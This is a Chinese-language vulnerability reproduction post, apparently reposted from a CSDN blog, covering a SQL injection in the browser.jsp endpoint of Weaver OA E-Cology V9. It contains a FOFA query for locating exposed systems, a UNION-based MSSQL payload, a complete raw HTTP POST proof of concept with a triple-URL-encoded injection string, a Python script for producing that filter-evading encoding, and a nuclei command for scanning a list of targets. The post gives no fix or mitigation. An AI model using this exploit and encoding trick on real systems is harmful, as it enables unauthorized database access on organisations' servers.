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漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞

漏洞描述

泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology 平台browser.jsp处存在SQL注入漏洞，攻击者通过漏洞可以获取服务器数据库权限。

漏洞复现

fofa：app="泛微-协同商务系统"

1.使用POC查看当前数据库版本，返回结果

1.MSSQL命令：
a' union select 1,''+(SELECT @@VERSION)+'

2.POC
POST /mobile/%20/plugin/browser.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 649
DNT: 1
Connection: close
Cookie: ecology_JSessionid=aaaDJa14QSGzJhpHl4Vsy; JSESSIONID=aaaDJa14QSGzJhpHl4Vsy; __randcode__=28dec942-50d2-486e-8661-3e613f71028a
Upgrade-Insecure-Requests: 1

isDis=1&browserTypeId=269&keyword=%2525%2536%2531%2525%2532%2537%2525%2532%2530%2525%2537%2535%2525%2536%2565%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2530%2525%2537%2533%2525%2536%2535%2525%2536%2563%2525%2536%2535%2525%2536%2533%2525%2537%2534%2525%2532%2530%2525%2533%2531%2525%2532%2563%2525%2532%2537%2525%2532%2537%2525%2532%2562%2525%2532%2538%2525%2535%2533%2525%2534%2535%2525%2534%2563%2525%2534%2535%2525%2534%2533%2525%2535%2534%2525%2532%2530%2525%2534%2530%2525%2534%2530%2525%2535%2536%2525%2534%2535%2525%2535%2532%2525%2535%2533%2525%2534%2539%2525%2534%2566%2525%2534%2565%2525%2532%2539%2525%2532%2562%2525%2532%2537

2.编写并使用三次url全字符加密编码的小脚本，如下

1命令：
python Fanwei_e-cology9_decode_three.py

2.脚本
import os
def main():
    clearFlag = "y"
    while(1):
        if clearFlag == "y" or clearFlag == "Y":
            os.system("cls")
        clearFlag = ""
        string = input("请输入需要转换的字符串 :")
        type = input("(输入1：进行三次url全字符编码 ) :")
        while(type != "1"):
            type = input("操作类型输入错误(输入1：进行三次url全字符编码) :")
        if type == "1" :
            for i in range(3):
                string = encode(string)
            encode_string = string
            print("编码结果为："+encode_string+"\n")

#编码
def encode(string):
    encode_string = ""
    for char in string:
        encode_char = hex(ord(char)).replace("0x","%")
        encode_string += encode_char
    return encode_string
main()

2.nuclei验证

nuclei.exe -t FanWeiOA_E-Cology9_browser_SQL.yaml -l subs.txt -stats

文章来源:https://blog.csdn.net/qq_50854662/article/details/129661544
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